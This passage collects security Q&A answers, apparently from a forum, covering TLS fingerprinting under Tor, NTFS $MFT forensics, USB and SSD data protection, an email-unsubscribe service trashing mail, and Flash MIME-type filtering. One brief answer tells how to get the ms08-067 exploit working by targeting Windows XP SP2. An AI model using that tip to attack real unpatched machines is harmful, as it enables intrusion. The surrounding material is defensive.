So automatically enforcing a policy on the main domain could possibly break things for subdomains.


Can SSL/TLS compromise anonymity (e.g. when using HTTPS via Tor)?

TLS always authenticates the server (except in some variants that are never used on the web because they're only useful in very specific environments). This is necessary because if neither party authenticates the other, then they cannot ensure that they have an encrypted connection, as opposed to each having an encrypted connection to a man-in-the-middle who decodes and forwards the traffic. The server in an HTTP connection is not anonymous anyway.

TLS only authenticates the client if the client offers to be authenticated. This feature is not commonly used on the public web, mostly on intranets, and more commonly with protocols other than HTTP (for example email clients). Your client is not going to accidentally send a certificate that authenticates it: it would have to create a certificate first, and it would typically not use the same certificate with another client. Of course if you use a client program that you don't trust, it may reveal information about you, but doing it by creating and using a client certificate is a very unlikely method.

TLS itself doesn't send any directly identifying information about the client, but like with any other layer of the protocol it can reveal information indirectly through fingerprinting. The fingerprinting of a TLS client is mostly about which features it advertises to the server (which cryptographic algorithms and optional protocol features it supports).
For anonymity, your best bet is to stick with the Tor browser in its default configuration, so that your fingerprint matches the fingerprint of everyone else using the same configuration. If you use another client, then sticking to that client's default will likewise usually minimize the information leaked through fingerprinting.


How can I view the NTFS $MFT using correct field names?

Try this PDF: NTFS Forensics: A Programmers View of Raw Filesystem Data Extraction by Jason Medeiros,
Grayscale Research 2008

It should answer your questions.
Also, you can read your image with a Hex editor... Well, good luck with that.


How could you safeguard your data traces when using USB Drive?

Strongly encrypt it to AES-128 or stronger. I like the ones with physical keys, like the iStorage; they are self contained and you can't mess up installing the software.
It you can't trust the computer, boot from the USB so it's only running your software. (Of course you can't trust the hardware either...)
See 2 and 4.
Simply throw away the encryption key to effectively wipe the stick. (But throw it in the volcano anyway, just in case.)


Google mail - Paypal emails going directly to trash

The issue was with a mailing list unsubscription service unroll.me that i subscribed to a while back.

from their documentation:

Unroll.me unsubscribes you by following a sender's unsubscribe instructions 24 hours after you've unsubscribed.
As a backup, we automatically trash all future emails you'll receive from that sender. This is to ensure that if the unsubscribe request fails for some reason, you'll still never receive an email from that sender.

It seems the service accesses your email via IMAP using Oauth. then uses this access to scan emails and pick out the unsubscribe URLs. However it also retains access and trashes any of the emails that get through.

Seems a lot of access for what the service provides, but it was what i signed up for.


Is filtering flash based on the mimetype enough to keep it out?

Filtering flash on MIME type is a security enhancer, but not one without holes.

With an SSL-privy proxy, you can ensure against a man in the middle attack, but (as you suspected) not against Flash documents served from legitimate servers with illegitimate MIME types in their headers.

I wouldn't want to trust that video/x-flv, image/vnd.rn-realflash, and application/x-shockwave-flash are the only MIME types that invoke Flash on all HTTP clients.

If you have control of all the clients on the network, the comment about disabling flash might work, which may be difficult if you have users that depend on a variety of operating systems and browsers to do their jobs.

One possible solution is to set up the proxy (if regular expressions are available) to block any MIME type matching /(flash|shock|flv), which will be more secure and somewhat unlikely to block MIME types you want to permit.


Why is ms08-067 stopping at "Attempting to trigger the vulnerability"?

I got this working by changing my target machine to Windows XP SP2.


How can one encrypt a file and be sure the original file can not be recovered on a SSD?

The best option is to use full-disk encryption that encrypts everything whether it's explicitly encrypted with file encryption or not.
In your situation, you could try and write a file so big that it fills the whole drive, making it more likely you overwrite the original file. However, there could be data from the file written in paging (swap). You might also be able to enable full-disk encryption on-the-fly; this depends on the capabilities of your operating system.